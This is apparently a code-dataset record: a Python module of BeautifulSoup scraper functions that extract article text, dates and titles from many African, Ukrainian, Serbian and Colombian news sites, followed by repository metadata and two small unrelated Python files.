maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('span', attrs={"class":"tt-post-date-single"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "c-h1"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
#%%
def xalimasncom_story(soup):
"""
Function to pull the information we want from Xalimasn.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "td-post-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('time', attrs={"class":"entry-date updated td-module-date"})
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "entry-title"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
#%%
def walfgroupecom_story(soup):
"""
Function to pull the information we want from Walf-groupe.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "single-posts-wrapper"})
body = article_body.find('div', attrs ={"class": "entry-content"})
maintext = [para.text.strip() for para in body.find_all('p')]
maintext.pop()
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('time', attrs={"class":"entry-date published updated"})
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def dakaractucom_story(soup):
"""
Function to pull the information we want from Dakaractu.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "texte"})
hold_dict['maintext'] = article_body.text.strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"id":"date"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def ausenegalcom_story(soup):
"""
Function to pull the information we want from Au-senegal.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "texte surlignable clearfix"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('abbr', attrs={"class":"published"})
date = article_date['title']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "surlignable"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
#%%
def thecitizencotz_story(soup):
"""
Function to pull the information we want from Thecitizen.co.tz stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('section', attrs={"class": "body-copy"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
return hold_dict
#%%
def dailynewscotz_story(soup):
"""
Function to pull the information we want from Dailynews.co.tz stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "entry-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "post-meta-date"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h4', attrs={"class": "title"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def ippmediacom_story(soup):
"""
Function to pull the information we want from Ippmedia.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "field field-name-body field-type-text-with-summary field-label-hidden"})
body = article_body.find('div', attrs={"class": "field-item even"})
maintext = [para.text.strip() for para in body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
return hold_dict
#%%
def monitorcoug_story(soup):
"""
Function to pull the information we want from Monitor.co.ug stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('section', attrs={"class": "body-copy"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class":"story-view"})
date = article_date.h6.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def chimpreportscom_story(soup):
"""
Function to pull the information we want from Chimpreports.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "entry-content entry clearfix"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
return hold_dict
#%%
def newvisioncoug_story(soup):
"""
Function to pull the information we want from Newvision.co.ug stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "article-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "publish-date"})
article_date = article_date.text.strip().split(" ")[1:]
date = " ".join(article_date)
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def bukeddecoug_story(soup):
"""
Function to pull the information we want from Bukedde.co.ug stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "article-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
return hold_dict
#%%
def observerug_story(soup):
"""
Function to pull the information we want from Observer.ug stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('span', attrs={"itemprop": "articleBody"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('time', attrs={"itemprop": "datePublished"})
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"itemprop": "name"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def daykyivua_story(soup):
"""
Function to pull the information we want from Day.kyiv.ua stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "field field-name-body field-type-text-with-summary field-label-hidden"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "node_date"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "title"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def interfaxcomua_story(soup):
"""
Function to pull the information we want from Interfax.com.ua stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "article-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "article-time"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "article-content-title"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def kpua_story(soup):
"""
Function to pull the information we want from Kp.ua stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#date
try:
article_date = soup.find('a', attrs={"class": "meta__date"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def pravdacomua_story(soup):
"""
Function to pull the information we want from Pravda.com.ua stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "post_text"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "post_time"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def vestiua_story(soup):
"""
Function to pull the information we want from Vesti.ua stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "the-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "date"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('div', attrs={"class": "content-head"})
hold_dict['title'] = article_title.h1.text.strip()
except:
article_title = None
return hold_dict
#%%
def wzlvivua_story(soup):
"""
Function to pull the information we want from Wz.lviv.ua stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('article', attrs={"class": "uk-article"})
maintext = [para.text.strip() for para in article_body.find_all('div')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('span', attrs={"class": "uk-text-middle"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "uk-article-title"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
###Serbia Domains
#%%
def rsn1infocom_story(soup):
"""
Function to pull the information we want from Rs.n1info.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"id": "articleContent"})
maintext= [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('time', attrs={"class": "pub-date"})
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "single-article-title"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def danasrs_story(soup):
"""
Function to pull the information we want from Danas.rs stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
unwanted = soup.find('div', attrs={"class": "danas-club"})
if unwanted: unwanted.extract()
article_body1 = soup.find('div', attrs={"class": "post-intro-content content"})
maintext = [para.text.strip() for para in article_body1.find_all('p')]
article_body2 = soup.find('div', attrs={"class": "post-content content"})
maintext += [para.text.strip() for para in article_body2.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('time')
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "post-title"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def insajdernet_story(soup):
"""
Function to pull the information we want from Insajder.net stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "articleView__text"})
maintext= [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('time', attrs={"class": "articleBadge"})
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "articleView__headline"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def epokaerecom_story(soup):
"""
Function to pull the information we want from Epokaere.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('article', attrs={"class": "article"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "datetime_holder"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('article', attrs={"class": "article"})
hold_dict['title'] = article_title.h1.text.strip()
except:
article_title = None
return hold_dict
#%%
def juznevesticom_story(soup):
"""
Function to pull the information we want from Juznevesti.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "desc_holder cf main--content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('p', attrs={"class": "article--single__date"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "mb10 title title--1"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def kosovasotinfo_story(soup):
"""
Function to pull the information we want from Kosova-sot.info stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "news-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('ul', attrs={"class": "published-info"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "main-title"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def krikrs_story(soup):
"""
Function to pull the information we want from Krik.rs stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "the_content_wrapper"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
return hold_dict
#%%
def vremecom_story(soup):
"""
Function to pull the information we want from Vreme.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"id": "mainContent"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('span', attrs={"class": "datum"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('div', attrs={"id": "mainContent"})
hold_dict['title'] = article_title.h3.text.strip()
except:
article_title = None
return hold_dict
#%%
def istinomerrs_story(soup):
"""
Function to pull the information we want from Istinomer.rs stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "postexc clear"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
article_body1 = soup.find('div', attrs={"class": "col-md-12 pcont"})
maintext += [para.text.strip() for para in article_body1.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('span', attrs={"class": "datum"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def astrars_story(soup):
"""
Function to pull the information we want from Astra.rs stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "text"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
text = ', '.join(maintext).strip()
hold_dict['maintext'] = '\n'.join(text.split(",")[1:])
except:
article_body = None
return hold_dict
#%%
def pescaniknet_story(soup):
"""
Function to pull the information we want from Pescanik.net stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "entry-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('span', attrs={"class": "asdf-post-date"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "entry-title"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def cenzolovkars_story(soup):
"""
Function to pull the information we want from Cenzolovka.rs stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "entry-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('time', attrs={"class": "entry-date published"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "entry-title"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def timescozm_story(soup):
"""
Function to pull the information we want from Times.co.zm stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "single-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('span', attrs={"class": "single-date"})
date = " ".join(article_date.text.split(" ")[2:5])
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('div', attrs={"class": "widget-magmag-title"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def bluradiocom_story(soup):
"""
Function to pull the information we want from Bluradio.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "contenidoDespliegue ng-binding"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('time', attrs={"itemprop": "datePublished"})
date = article_date['content']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "titulo ng-binding ng-scope"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def noticiascanalrcncom_story(soup):
"""
Function to pull the information we want from Noticias.canalrcn.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "sumario"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "fecha"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('div', attrs={"class": "titulo"})
hold_dict['title'] = article_title.h1.text.strip()
except:
article_title = None
return hold_dict
#%%
def lasillarotacom_story(soup):
"""
Function to pull the information we want from Lasillarota.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"id": "crpler"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#title
try:
article_title = soup.find('div', attrs={"class": "titulo-nota"})
hold_dict['title'] = article_title.h1.text.strip()
except:
article_title = None
return hold_dict
#%%
def lasillavaciacom_story(soup):
"""
Function to pull the information we want from Lasillavacia.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "field field-name-body field-type-text-with-summary field-label-hidden"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "author author-top"})
date = article_date.p.text.split("·")[1]
print(date)
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def elespectadorcom_story(soup):
"""
Function to pull the information we want from Lasillavacia.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "Article-Content"})
maintext = [para.text.strip() for para in article_body.find_all('p', attrs={"class": "font--secondary"})]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
return hold_dict
#%%
def portafolioco_story(soup):
"""
Function to pull the information we want from Portafolio.co stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "article-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#title
try:
article_title = soup.find('h1', attrs={"itemprop": "headline"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def canal1comco_story(soup):
"""
Function to pull the information we want from Canal1.com.co stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "article-container"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('time', attrs={"class": "jsx-3840644288"})
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "jsx-3840644288"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def eluniversalcomco_story(soup):
"""
Function to pull the information we want from Eluniversal.com.co stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "text small resizable"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('span', attrs={"class": "datefrom small"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "headline"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def razonpublicacom_story(soup):
"""
Function to pull the information we want from Razonpublica.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#date
try:
article_date = soup.find('time', attrs={"class": "entry-date published"})
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def caracolcomco_story(soup):
"""
Function to pull the information we want from Caracol.com.co stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"itemprop": "articleBody"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
return hold_dict
#%%
def cuestionpublicacom_story(soup):
"""
Function to pull the information we want from Cuestionpublica.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "td-post-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('time', attrs={"class": "entry-date updated td-module-date"})
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "entry-title"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def proclamadelcaucacom_story(soup):
"""
Function to pull the information we want from Proclamadelcauca.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "single-entradaContent"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
return hold_dict
#%%
def laorejarojacom_story(soup):
"""
Function to pull the information we want from Laorejaroja.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "entry-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
return hold_dict
#%%
def lafmcomco_story(soup):
"""
Function to pull the information we want from Lafm.com.co stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "node-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "node-date"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "node__title"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
def vanguardngrcom_story(soup):
"""
Function to pull the information we want from Vanguardngr.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#date
try:
article_date = soup.find('time', attrs={"class": "entry-date published"})
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def thereporterethiopiacom_story(soup):
"""
Function to pull the information we want from Thereporterethiopia.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#date
try:
article_date = soup.find('span', attrs={"class": "post-created"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def addisfortunenews_story(soup):
"""
Function to pull the information we want from Addisfortune.news stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#date
try:
article_date = soup.find('p', attrs={"class": "font-11 t-center adf_theme"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def newsdaycozw_story(soup):
"""
Function to pull the information we want from Newsday.co.zw stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#date
try:
article_date = soup.find('div', attrs={"class": "post-date-bd"})
date = article_date.span.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
def main():
header = {
'User-Agent': ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36'
'(KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36')
}
# url = 'http://telegraf.al/aktualitet/ja-si-zbatohet-teoria-e-mao-ce-dunit-ne-berat/'
# response = requests.get(url, headers=header).text
# soup = BeautifulSoup(response)
# text= nationcoke_story(soup)
# print(text)
# %%
| 31.223543 | 129 | 0.615822 | 9,943 | 81,431 | 4.890878 | 0.053706 | 0.074193 | 0.033806 | 0.04343 | 0.903167 | 0.897388 | 0.890294 | 0.883899 | 0.877894 | 0.874316 | 0 | 0.00262 | 0.250101 | 81,431 | 2,607 | 130 | 31.23552 | 0.793728 | 0.176149 | 0 | 0.812245 | 0 | 0 | 0.129152 | 0.006693 | 0 | 0 | 0 | 0 | 0 | 1 | 0.062974 | false | 0 | 0.005831 | 0 | 0.131195 | 0.001166 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3e86b919d02a0c14955640ec6db3473cb8e41aa2 | 73 | py | Python | sinas/__init__.py | Fruitscale/Sinas | eb7536162b7c10e14bbe37b0b6a11000ea7906ec | [
"MIT"
] | null | null | null | sinas/__init__.py | Fruitscale/Sinas | eb7536162b7c10e14bbe37b0b6a11000ea7906ec | [
"MIT"
] | 2 | 2017-11-27T17:20:55.000Z | 2017-11-28T08:41:20.000Z | sinas/__init__.py | Fruitscale/Sinas | eb7536162b7c10e14bbe37b0b6a11000ea7906ec | [
"MIT"
] | null | null | null | def main():
from sinas.app import create_app
create_app().run()
| 14.6 | 36 | 0.657534 | 11 | 73 | 4.181818 | 0.727273 | 0.391304 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.219178 | 73 | 4 | 37 | 18.25 | 0.807018 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
e452cc1c0ffdedb3ba3935b723467c2de4b6b561 | 71 | py | Python | registrate/utils.py | tombulled/register | 7007de237fa97de633ce1eab37aee26219b38144 | [
"MIT"
] | null | null | null | registrate/utils.py | tombulled/register | 7007de237fa97de633ce1eab37aee26219b38144 | [
"MIT"
] | 1 | 2022-01-08T09:53:16.000Z | 2022-01-08T09:57:11.000Z | registrate/utils.py | tombulled/register | 7007de237fa97de633ce1eab37aee26219b38144 | [
"MIT"
] | null | null | null | import typing
def identity(x: typing.Any) -> typing.Any:
return x
